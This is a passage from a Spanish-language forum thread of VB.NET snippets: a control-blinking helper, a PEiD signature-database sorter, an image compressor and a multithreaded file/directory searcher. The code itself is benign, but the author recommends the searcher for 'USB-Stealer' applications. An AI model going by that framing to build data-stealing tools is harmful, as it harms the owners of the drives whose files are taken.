''' Prevents a default instance of the <see cref="Blinker"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Blinks the Control.
''' </summary>
''' <param name="Interval">Indicates the blink interval, in ms.</param>
Public Sub Blink(Optional ByVal interval As Integer = 500I)
If blinkTimer Is Nothing Then
blinkTimer = New Timer
End If
With blinkTimer
.Interval = interval
.Enabled = True
End With
Me.isBlinking = True
End Sub
''' <summary>
''' Stop blinking the Control.
''' </summary>
''' <param name="Visible">Indicates the visibility of the control.</param>
Public Sub Unblink(Optional ByVal visible As Boolean = True)
If Not isBlinking Then
Exit Sub
End If
With blinkTimer
.Enabled = False
End With
Me.Ctrl.Visible = visible
Me.isBlinking = False
End Sub
''' <summary>
''' Blinks the text content of the Control.
''' </summary>
''' <param name="Interval">Indicates the blink interval.</param>
''' <param name="CustomText">Indicates a custom text to blink.</param>
Public Sub BlinkText(Optional ByVal interval As Integer = 500I,
Optional ByVal customText As String = Nothing)
If blinkTextTimer Is Nothing Then
blinkTextTimer = New Timer
End If
With blinkTextTimer
.Tag = If(String.IsNullOrEmpty(customText), Me.Ctrl.Text, customText)
.Interval = interval
.Enabled = True
End With
Me.textToRestore = Me.Ctrl.Text
Me.isBlinkingText = True
End Sub
''' <summary>
''' Stop blinking the text content of the Control.
''' </summary>
''' <param name="RestoreText">If set to <c>true</c>, the control text is resetted to the initial state before started blinking.</param>
Public Sub UnblinkText(Optional ByVal restoreText As Boolean = False)
If Not isBlinkingText Then
Exit Sub
End If
With blinkTextTimer
.Enabled = False
End With
If restoreText Then
Me.Ctrl.Text = Me.textToRestore
End If
Me.isBlinkingText = False
End Sub
#End Region
#Region " Event Handlers"
''' <summary>
''' Handles the Tick event of the BlinkTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
Private Sub BlinkTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
Handles blinkTimer.Tick
Me.Ctrl.Visible = Not Me.Ctrl.Visible
End Sub
''' <summary>
''' Handles the Tick event of the BlinkTextTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
Private Sub BlinkTextTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
Handles blinkTextTimer.Tick
If String.IsNullOrEmpty(Me.Ctrl.Text) Then
Me.Ctrl.Text = DirectCast(DirectCast(sender, Timer).Tag, String)
Else
Me.Ctrl.Text = String.Empty
End If
End Sub
#End Region
End Class
Chevere los snippets estan actualizados con los ultimos ejemplos que estas publicando, salu2 y gracias por los aportes, son muy utiles
Cita de: TrashAmbishion en 27 Diciembre 2014, 19:38 PM
Chevere los snippets estan actualizados con los ultimos ejemplos que estas publicando, salu2 y gracias por los aportes, son muy utiles
Gracias por comentar :)
He ideado este código para ordenar una base de datos de firmas de la aplicación PeId, y eliminar firmas duplicadas:
http://www.aldeid.com/wiki/PEiD#PEiD
Dim commentPattern As New Regex(";.+", RegexOptions.Multiline)
Dim blockPattern As New Regex("\n\s+?$", RegexOptions.Multiline)
Dim namePattern As New Regex("\[(.+)\]", RegexOptions.Singleline)
Dim sigPattern As New Regex("signature\s=\s(.+)", RegexOptions.Singleline)
Dim userDB As String = File.ReadAllText(".\UserDB.txt", Encoding.UTF8)
Dim orderedBlocks As IEnumerable(Of String) =
From match As String In blockPattern.Split(userDB)
Order By namePattern.Match(match).Value
Select commentPattern.Replace(match, "").
Trim(Environment.NewLine.ToCharArray)
Dim distinctedBlocks As IEnumerable(Of String) =
From match As String In orderedBlocks
Group By sigPattern.Match(match).Value
Into Group
Select Group.First
File.WriteAllText(".\New_UserDB.txt", String.Join(New String(ControlChars.Lf, 2), distinctedBlocks), Encoding.UTF8)
Compriimir una imagen mediante pérdida de calidad, hasta el tamaño objetivo:
''' <summary>
''' Compress an image to the specified target filesize.
''' </summary>
''' <param name="inputFile">The input image file.</param>
''' <param name="targettFile">The target image file.</param>
''' <param name="targetImageFormat">The target image format.</param>
''' <param name="targetFileSize">The target filesize, in bytes.</param>
''' <exception cref="System.NotImplementedException">Resize Image to -1% and reset quality compression...</exception>
Private Sub CompressImage(ByVal inputFile As String,
ByVal targettFile As String,
ByVal targetImageFormat As ImageFormat,
ByVal targetFileSize As Long)
Dim qualityPercent As Integer = 100
Dim bmp As New Bitmap(inputFile)
Dim codecInfo As ImageCodecInfo = (From codec As ImageCodecInfo In ImageCodecInfo.GetImageDecoders
Where codec.FormatID = targetImageFormat.Guid).First
Dim encoder As Imaging.Encoder = Imaging.Encoder.Quality
Dim encoderParameters As New EncoderParameters(1)
Using encoderParameter As New EncoderParameter(encoder, qualityPercent)
encoderParameters.Param(0) = encoderParameter
bmp.Save(targettFile, codecInfo, encoderParameters)
End Using
Dim fInfo As New FileInfo(targettFile)
Do Until fInfo.Length <= targetFileSize
qualityPercent -= 1
If qualityPercent = 50 Then ' Esto lo pongo de manera opcional.
Throw New NotImplementedException("Resize Image to -1% and reset quality compression...")
End If
' If qualityPercent = 60 Then
' resizePercent -= 1
' bmp = ImageTools.ResizeImage(bmp, resizePercent)
' qualityPercent = 99
' End If
Using encoderParameter As New EncoderParameter(encoder, qualityPercent)
encoderParameters.Param(0) = encoderParameter
bmp.Save(targettFile, codecInfo, encoderParameters)
End Using
fInfo = New FileInfo(targettFile)
Loop
encoderParameters.Dispose()
bmp.Dispose()
End Sub
Plus esta funcion para redimensionar una imagen mediante porcentaje, para utilizarla en conjunto con el método de arriba:
''' <summary>
''' Resizes an image by a percentage.
''' </summary>
''' <param name="Bitmap">Indicates the image to resize.</param>
''' <param name="Percent">Indicates the percent size.</param>
''' <returns>Bitmap.</returns>
Public Function ResizeImage(ByVal bitmap As Drawing.Bitmap,
ByVal percent As Double,
Optional ByVal quality As Drawing2D.InterpolationMode =
Drawing2D.InterpolationMode.HighQualityBicubic,
Optional ByVal pixelFormat As Imaging.PixelFormat =
Imaging.PixelFormat.Format24bppRgb) As Drawing.Bitmap
Dim width As Integer = (bitmap.Width \ (100I / percent))
Dim height As Integer = (bitmap.Height \ (100I / percent))
Dim newBitmap As New Bitmap(width, height, pixelFormat)
Using g As Graphics = Graphics.FromImage(newBitmap)
g.InterpolationMode = quality
g.DrawImage(bitmap, 0, 0, width, height)
End Using
Return newBitmap
End Function
que guay todo lo que aportas vale oro.
Gracias por compartir tus codigos ;-) ;-)
Tras analizar diversos enfoques de iteradores y paralelismo para optimizar la manera de buscar archivos/carpetas, y aunque al final he preferido no programar las funciones de manera asíncrona, les presento el método definitivo (bueno, o casi xD) para buscar archivos/directorios de manera sencilla, personalizada, omitiendo y/o controlando errores de permisos de usuario (eso si, de forma básica, quien quiera puede añadirle eventos para un mayor control), y realizando una búsqueda muy, muy rápida al dividir el trabajo en varios threads, de esta manera disminuirán el tiempo de ejecución hasta un 400% en las búsquedas de archivos por ejemplo sería muy útil en aplicaciones de tipo USB-Stealer, donde es primordial la rápidez del algoritmo sin dejar de lado la eficiencia del mismo.
Modo de empleo:
Dim filePaths As List(Of String) = FileDirSearcher.GetFilePaths("C:\Windows\System32", SearchOption.AllDirectories).ToList
Dim dirPaths As List(Of String) = FileDirSearcher.GetDirPaths("C:\Windows\System32", SearchOption.AllDirectories).ToList
o:
Dim files As List(Of FileInfo) = FileDirSearcher.GetFiles("C:\Windows\System32", SearchOption.AllDirectories).ToList
Dim dirs As List(Of DirectoryInfo) = FileDirSearcher.GetDirs("C:\Windows\System32", SearchOption.AllDirectories).ToList
o:
Dim files As IEnumerable(Of FileInfo) = FileDirSearcher.GetFiles(dirPath:="C:\Windows\System32",
searchOption:=SearchOption.TopDirectoryOnly,
fileNamePatterns:={"*"},
fileExtPatterns:={"*.dll", "*.exe"},
ignoreCase:=True,
throwOnError:=True)
Dim dirs As IEnumerable(Of DirectoryInfo) = FileDirSearcher.GetDirs(dirPath:="C:\Windows\System32",
searchOption:=SearchOption.TopDirectoryOnly,
dirPathPatterns:={"*"},
dirNamePatterns:={"*Microsoft*"},
ignoreCase:=True,
throwOnError:=True)
Source: http://pastebin.com/yrcvG7LP
EDITO: Versión anterior del código fuente de este Snippet (no tiene ninguna mejora implementada), por si quieren comparar los tiempos de espera de búsqueda: http://pastebin.com/Wg5SHdmS
Esto es una versión "reducida" de la class para buscar archivos/directorios. El funcionamiento es el mismo pero internamente trabaja de manera ligeramente distinta, simplemente lo he estructurado de otra forma más óptima para eliminar toda la repetición de código posible y así hacer el entendimiento del código más ameno, los resultados son los mismos.
Nota: Si alquien quiere comparar este código con algún otro algoritmo (que de seguro los hay mejores) para hacer algún tipo de profilling de I/O o del rendimiento de memoria entonces no se vayan a asustar por el consumo de memoria al recojer +100k de archivos, es el GarbageCollector de .Net haciendo de las suyas... lo pueden invokar manualmente (GC.Collect) y desaparecerá todo ese consumo ficticio de RAM.
Espero que a alguien le sirva el code :):
' ***********************************************************************
' Author : Elektro
' Modified : 14-February-2015
' ***********************************************************************
#Region " Usage Examples "
' he eliminado esto por el límite de caracteres del foro
#End Region
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Imports "
Imports System.IO
Imports System.Collections.Concurrent
Imports System.Threading.Tasks
#End Region
#Region " File Dir Searcher "
''' <summary>
''' Searchs for files and directories.
''' </summary>
Public NotInheritable Class FileDirSearcher
#Region " Public Methods "
''' <summary>
''' Gets the files those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="dirPath">The root directory path to search for files.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
''' <returns>An <see cref="IEnumerable(Of FileInfo)"/> instance containing the files information.</returns>
''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
Public Shared Function GetFiles(ByVal dirPath As String,
ByVal searchOption As SearchOption,
Optional ByVal fileNamePatterns As IEnumerable(Of String) = Nothing,
Optional ByVal fileExtPatterns As IEnumerable(Of String) = Nothing,
Optional ByVal ignoreCase As Boolean = True,
Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of FileInfo)
' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
AnalyzePath(dirPath)
' Analyze the passed arguments.
AnalyzeArgs(dirPath, searchOption)
' Get and return the files.
Dim queue As New ConcurrentQueue(Of FileInfo)
CollectFiles(queue, dirPath, searchOption, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
Return queue.AsEnumerable
End Function
''' <summary>
''' Gets the filepaths those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="dirPath">The root directory path to search for files.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
''' <returns>An <see cref="IEnumerable(Of String)"/> instance containing the filepaths.</returns>
''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
Public Shared Function GetFilePaths(ByVal dirPath As String,
ByVal searchOption As SearchOption,
Optional ByVal fileNamePatterns As IEnumerable(Of String) = Nothing,
Optional ByVal fileExtPatterns As IEnumerable(Of String) = Nothing,
Optional ByVal ignoreCase As Boolean = True,
Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of String)
' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
AnalyzePath(dirPath)
' Analyze the passed arguments.
AnalyzeArgs(dirPath, searchOption)
' Get and return the filepaths.
Dim queue As New ConcurrentQueue(Of String)
CollectFilePaths(queue, dirPath, searchOption, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
Return queue.AsEnumerable
End Function
''' <summary>
''' Gets the directories those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="dirPath">The root directory path to search for directories.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
''' <returns>An <see cref="IEnumerable(Of DirectoryInfo)"/> instance containing the dirrectories information.</returns>
''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
Public Shared Function GetDirs(ByVal dirPath As String,
ByVal searchOption As SearchOption,
Optional ByVal dirPathPatterns As IEnumerable(Of String) = Nothing,
Optional ByVal dirNamePatterns As IEnumerable(Of String) = Nothing,
Optional ByVal ignoreCase As Boolean = True,
Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of DirectoryInfo)
' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
AnalyzePath(dirPath)
' Analyze the passed arguments.
AnalyzeArgs(dirPath, searchOption)
' Get and return the directories.
Dim queue As New ConcurrentQueue(Of DirectoryInfo)
CollectDirs(queue, dirPath, searchOption, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
Return queue.AsEnumerable
End Function
''' <summary>
''' Gets the filepaths those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="dirPath">The root directory path to search for directories.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
''' <returns>An <see cref="IEnumerable(Of String)"/> instance containing the directory paths.</returns>
''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
Public Shared Function GetDirPaths(ByVal dirPath As String,
ByVal searchOption As SearchOption,
Optional ByVal dirPathPatterns As IEnumerable(Of String) = Nothing,
Optional ByVal dirNamePatterns As IEnumerable(Of String) = Nothing,
Optional ByVal ignoreCase As Boolean = True,
Optional ByVal throwOnError As Boolean = False) As IEnumerable(Of String)
' Analyze and resolve path problems. (eg. 'C:' -> 'C:\')
AnalyzePath(dirPath)
' Analyze the passed arguments.
AnalyzeArgs(dirPath, searchOption)
' Get and return the directory paths.
Dim queue As New ConcurrentQueue(Of String)
CollectDirPaths(queue, dirPath, searchOption, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
Return queue.AsEnumerable
End Function
#End Region
#Region " Private Methods "
''' <summary>
''' Analyzes a directory path and perform specific changes on it.
''' </summary>
''' <param name="dirPath">The directory path.</param>
''' <exception cref="System.ArgumentNullException">dirPath;Value is null, empty, or white-spaced.</exception>
Private Shared Sub AnalyzePath(ByRef dirPath As String)
If String.IsNullOrEmpty(dirPath) OrElse String.IsNullOrWhiteSpace(dirPath) Then
Throw New ArgumentNullException("dirPath", "Value is null, empty, or white-spaced.")
Else
' Trim unwanted characters.
dirPath = dirPath.TrimStart({" "c}).TrimEnd({" "c})
If Path.IsPathRooted(dirPath) Then
' The root paths contained on the returned FileInfo objects will start with the same string-case as this root path.
' So just for a little visual improvement, I'll treat this root path as a Drive-Letter and I convert it to UpperCase.
dirPath = Char.ToUpper(dirPath.First) & dirPath.Substring(1)
End If
If Not dirPath.EndsWith("\"c) Then
' Possibly its a drive letter without backslash ('C:') or else just a normal path without backslash ('C\Dir').
' In any case, fix the ending backslash.
dirPath = dirPath.Insert(dirPath.Length, "\"c)
End If
End If
End Sub
''' <summary>
''' Analyzes the specified directory values.
''' </summary>
''' <param name="dirPath">The root directory path to search for files.</param>
''' <param name="searchOption">The searching mode.</param>
''' <exception cref="System.ArgumentException">dirPath or searchOption</exception>
Private Shared Sub AnalyzeArgs(ByVal dirPath As String, ByVal searchOption As SearchOption)
If Not Directory.Exists(dirPath) Then
Throw New ArgumentException(String.Format("Directory doesn't exists: '{0}'", dirPath), "dirPath")
ElseIf (searchOption <> searchOption.TopDirectoryOnly) AndAlso (searchOption <> searchOption.AllDirectories) Then
Throw New ArgumentException(String.Format("Value of '{0}' is not valid enumeration value.", CStr(searchOption)), "searchOption")
End If
End Sub
''' <summary>
''' Tries to instance the byreferred <see cref="DirectoryInfo"/> object using the given directory path.
''' </summary>
''' <param name="dirPath">The directory path used to instance the byreffered <see cref="DirectoryInfo"/> object.</param>
''' <param name="dirInfo">The byreffered <see cref="DirectoryInfo"/> object to instance it using the given directory path.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
Private Shared Sub SetupDirInfoObject(ByVal dirPath As String,
ByRef dirInfo As DirectoryInfo,
ByVal throwOnError As Boolean)
Try
dirInfo = New DirectoryInfo(dirPath)
Catch ex As Exception
Select Case ex.GetType ' Handle or suppress exceptions by its type,
' I've wrote different types just to feel free to expand this feature in the future.
Case GetType(ArgumentNullException),
GetType(ArgumentException),
GetType(Security.SecurityException),
GetType(PathTooLongException),
ex.GetType
If throwOnError Then
Throw
End If
End Select
End Try
End Sub
''' <summary>
''' Tries to instance the byreferred <paramref name="col"/> object using the given directory path.
''' </summary>
''' <typeparam name="A">The type of the <paramref name="col"/> object used to cast and fill the byreffered collection.</typeparam>
''' <param name="objectAction">The method to invoke, only for <see cref="FileInfo"/> or <see cref="DirectoryInfo"/> objects, this parameter can be <c>Nothing</c>.</param>
''' <param name="sharedAction">The method to invoke, only for filepaths or directorypaths, this parameter can be <c>Nothing</c>.</param>
''' <param name="dirPath">The directory path used to instance the byreffered <paramref name="col"/> object.</param>
''' <param name="searchPattern">The search pattern to list files or directories.</param>
''' <param name="col">The byreffered <see cref="IEnumerable(Of A)"/> object to instance it using the given directory path.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
Private Shared Sub SetupFileDirCollection(Of A)(ByVal objectAction As Func(Of String,
SearchOption,
IEnumerable(Of A)),
ByVal sharedAction As Func(Of String,
String,
SearchOption,
IEnumerable(Of A)),
ByVal dirPath As String,
ByVal searchPattern As String,
ByRef col As IEnumerable(Of A),
ByVal throwOnError As Boolean)
Try
If objectAction IsNot Nothing Then
col = objectAction.Invoke(searchPattern, SearchOption.TopDirectoryOnly)
ElseIf sharedAction IsNot Nothing Then
col = sharedAction.Invoke(dirPath, searchPattern, SearchOption.TopDirectoryOnly)
Else
Throw New ArgumentException("Any Action has been defined.")
End If
Catch ex As Exception
Select Case ex.GetType ' Handle or suppress exceptions by its type,
' I've wrote different types just to feel free to expand this feature in the future.
Case GetType(UnauthorizedAccessException),
GetType(DirectoryNotFoundException),
ex.GetType
If throwOnError Then
Throw
End If
End Select
End Try
End Sub
''' <summary>
''' Determines whether at least one of the specified patterns matches the given value.
''' </summary>
''' <param name="value">The value, which can be a filename, file extension, direcrory path, or directory name.</param>
''' <param name="patterns">The patterns to match the given value.</param>
''' <param name="ignoreCase">if set to <c>true</c>, compares ignoring string-case rules.</param>
''' <returns><c>true</c> at least one of the specified patterns matches the given value; <c>false</c> otherwise.</returns>
Private Shared Function IsMatchPattern(ByVal value As String,
ByVal patterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean) As Boolean
' Iterate the filename pattern(s) to match each name pattern on the current name.
For Each pattern As String In patterns
' Supress consecuent conditionals if pattern its an asterisk.
If pattern.Equals("*", StringComparison.OrdinalIgnoreCase) Then
Return True
ElseIf ignoreCase Then ' Compare name ignoring string-case rules.
If value.ToLower Like pattern.ToLower Then
Return True
End If
Else ' Compare filename unignoring string-case rules.
If value Like pattern Then
Return True
End If
End If ' ignoreCase
Next pattern
Return False
End Function
''' <summary>
''' Runs the next collector tasks synchronouslly.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="action">The collector method to invoke.</param>
''' <param name="queue">The <see cref="ConcurrentQueue(Of FileInfo)"/> instance.</param>
''' <param name="dirPath">The directory path.</param>
''' <param name="firstPatterns">The first comparison patterns.</param>
''' <param name="secondPatterns">The second comparison patterns.</param>
''' <param name="ignoreCase">if set to <c>true</c>, compares ignoring string-case rules.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
Private Shared Sub RunNextTasks(Of T)(ByVal action As Action(Of ConcurrentQueue(Of T),
String,
SearchOption,
IEnumerable(Of String),
IEnumerable(Of String),
Boolean,
Boolean),
ByVal queue As ConcurrentQueue(Of T),
ByVal dirPath As String,
ByVal firstPatterns As IEnumerable(Of String),
ByVal secondPatterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean,
ByVal throwOnError As Boolean)
Try
Task.WaitAll(New DirectoryInfo(dirPath).
GetDirectories.
Select(Function(dir As DirectoryInfo)
Return Task.Factory.StartNew(Sub()
action.Invoke(queue,
dir.FullName, SearchOption.AllDirectories,
firstPatterns, secondPatterns,
ignoreCase, throwOnError)
End Sub)
End Function).ToArray)
Catch ex As Exception
Select Case ex.GetType ' Handle or suppress exceptions by its type,
' I've wrote different types just to feel free to expand this feature in the future.
Case GetType(UnauthorizedAccessException),
GetType(DirectoryNotFoundException),
ex.GetType
If throwOnError Then
Throw
End If
End Select
End Try
End Sub
''' <summary>
''' Collects the files those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="queue">The <see cref="ConcurrentQueue(Of FileInfo)"/> instance to enqueue new files.</param>
''' <param name="dirPath">The root directory path to search for files.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
Private Shared Sub CollectFiles(ByVal queue As ConcurrentQueue(Of FileInfo),
ByVal dirPath As String,
ByVal searchOption As SearchOption,
ByVal fileNamePatterns As IEnumerable(Of String),
ByVal fileExtPatterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean,
ByVal throwOnError As Boolean)
' Initialize a FileInfo collection.
Dim fileInfoCol As IEnumerable(Of FileInfo) = Nothing
' Initialize a DirectoryInfo.
Dim dirInfo As DirectoryInfo = Nothing
SetupDirInfoObject(dirPath, dirInfo, throwOnError)
If fileExtPatterns IsNot Nothing Then
' Decrease time execution by searching for files that has extension.
SetupFileDirCollection(Of FileInfo)(AddressOf dirInfo.GetFiles, Nothing,
dirInfo.FullName, "*.*", fileInfoCol, throwOnError)
Else
' Search for all files.
SetupFileDirCollection(Of FileInfo)(AddressOf dirInfo.GetFiles, Nothing,
dirInfo.FullName, "*", fileInfoCol, throwOnError)
End If
' If the fileInfoCol collection is not empty then...
If fileInfoCol IsNot Nothing Then
' Iterate the files.
For Each fInfo As FileInfo In fileInfoCol
' Flag to determine whether a filename pattern is matched. Activated by default.
Dim flagNamePattern As Boolean = True
' Flag to determine whether a file extension pattern is matched. Activated by default.
Dim flagExtPattern As Boolean = True
' If filename patterns collection is not empty then...
If fileNamePatterns IsNot Nothing Then
flagNamePattern = IsMatchPattern(fInfo.Name, fileNamePatterns, ignoreCase)
End If
' If file extension patterns collection is not empty then...
If fileExtPatterns IsNot Nothing Then
flagExtPattern = IsMatchPattern(fInfo.Extension, fileExtPatterns, ignoreCase)
End If
' If fileName and also fileExtension patterns are matched then...
If flagNamePattern AndAlso flagExtPattern Then
queue.Enqueue(fInfo) ' Enqueue this FileInfo object.
End If
Next fInfo
End If ' fileInfoCol IsNot Nothing
' If searchOption is recursive then...
If searchOption = searchOption.AllDirectories Then
RunNextTasks(Of FileInfo)(AddressOf CollectFiles,
queue, dirInfo.FullName, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
End If
End Sub
''' <summary>
''' Collects the filepaths those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="queue">The <see cref="ConcurrentQueue(Of String)"/> instance to enqueue new filepaths.</param>
''' <param name="dirPath">The root directory path to search for files.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="fileNamePatterns">The file name pattern(s) to match.</param>
''' <param name="fileExtPatterns">The file extension pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="fileNamePatterns"/> and <paramref name="fileExtPatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to file or directory.</param>
Private Shared Sub CollectFilePaths(ByVal queue As ConcurrentQueue(Of String),
ByVal dirPath As String,
ByVal searchOption As SearchOption,
ByVal fileNamePatterns As IEnumerable(Of String),
ByVal fileExtPatterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean,
ByVal throwOnError As Boolean)
' Initialize a filepath collection.
Dim filePathCol As IEnumerable(Of String) = Nothing
If fileExtPatterns IsNot Nothing Then
' Decrease time execution by searching for files that has extension.
SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetFiles,
dirPath, "*.*", filePathCol, throwOnError)
Else
' Search for all files.
SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetFiles,
dirPath, "*", filePathCol, throwOnError)
End If
' If the filepath collection is not empty then...
If filePathCol IsNot Nothing Then
' Iterate the filepaths.
For Each filePath As String In filePathCol
' Flag to determine whether a filename pattern is matched. Activated by default.
Dim flagNamePattern As Boolean = True
' Flag to determine whether a file extension pattern is matched. Activated by default.
Dim flagExtPattern As Boolean = True
' If filename patterns collection is not empty then...
If fileNamePatterns IsNot Nothing Then
flagNamePattern = IsMatchPattern(Path.GetFileNameWithoutExtension(filePath), fileNamePatterns, ignoreCase)
End If
' If file extension patterns collection is not empty then...
If fileExtPatterns IsNot Nothing Then
flagExtPattern = IsMatchPattern(Path.GetExtension(filePath), fileExtPatterns, ignoreCase)
End If
' If fileName and also fileExtension patterns are matched then...
If flagNamePattern AndAlso flagExtPattern Then
queue.Enqueue(filePath) ' Enqueue this filepath.
End If
Next filePath
End If ' filePathCol IsNot Nothing
' If searchOption is recursive then...
If searchOption = searchOption.AllDirectories Then
RunNextTasks(Of String)(AddressOf CollectFilePaths,
queue, dirPath, fileNamePatterns, fileExtPatterns, ignoreCase, throwOnError)
End If
End Sub
''' <summary>
''' Collects the directories those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="queue">The <see cref="ConcurrentQueue(Of DirectoryInfo)"/> instance to enqueue new directories.</param>
''' <param name="dirPath">The root directory path to search for directories.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
Private Shared Sub CollectDirs(ByVal queue As ConcurrentQueue(Of DirectoryInfo),
ByVal dirPath As String,
ByVal searchOption As SearchOption,
ByVal dirPathPatterns As IEnumerable(Of String),
ByVal dirNamePatterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean,
ByVal throwOnError As Boolean)
' Initialize a DirectoryInfo collection.
Dim dirInfoCol As IEnumerable(Of DirectoryInfo) = Nothing
' Initialize a DirectoryInfo.
Dim dirInfo As DirectoryInfo = Nothing
SetupDirInfoObject(dirPath, dirInfo, throwOnError)
' Get the top directories of the current directory.
SetupFileDirCollection(Of DirectoryInfo)(AddressOf dirInfo.GetDirectories, Nothing,
dirInfo.FullName, "*", dirInfoCol, throwOnError)
' If the fileInfoCol collection is not empty then...
If dirInfoCol IsNot Nothing Then
' Iterate the files.
For Each dir As DirectoryInfo In dirInfoCol
' Flag to determine whether a directory path pattern is matched. Activated by default.
Dim flagPathPattern As Boolean = True
' Flag to determine whether a directory name pattern is matched. Activated by default.
Dim flagNamePattern As Boolean = True
' If directory path patterns collection is not empty then...
If dirPathPatterns IsNot Nothing Then
flagPathPattern = IsMatchPattern(dir.FullName, dirPathPatterns, ignoreCase)
End If
' If directory name patterns collection is not empty then...
If dirNamePatterns IsNot Nothing Then
flagNamePattern = IsMatchPattern(dir.Name, dirNamePatterns, ignoreCase)
End If
' If directory path and also directory name patterns are matched then...
If flagPathPattern AndAlso flagNamePattern Then
queue.Enqueue(dir) ' Enqueue this DirectoryInfo object.
End If
Next dir
End If ' dirInfoCol IsNot Nothing
' If searchOption is recursive then...
If searchOption = searchOption.AllDirectories Then
RunNextTasks(Of DirectoryInfo)(AddressOf CollectDirs,
queue, dirPath, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
End If
End Sub
''' <summary>
''' Collects the directory paths those matches the criteria inside the specified directory and/or sub-directories.
''' </summary>
''' <param name="queue">The <see cref="ConcurrentQueue(Of String)"/> instance to enqueue new directory paths.</param>
''' <param name="dirPath">The root directory path to search for directories.</param>
''' <param name="searchOption">The searching mode.</param>
''' <param name="dirPathPatterns">The directory path pattern(s) to match.</param>
''' <param name="dirNamePatterns">The directory name pattern(s) to match.</param>
''' <param name="ignoreCase">If <c>True</c>, ignores the comparing case of <paramref name="dirPathPatterns"/> and <paramref name="dirNamePatterns"/> patterns.</param>
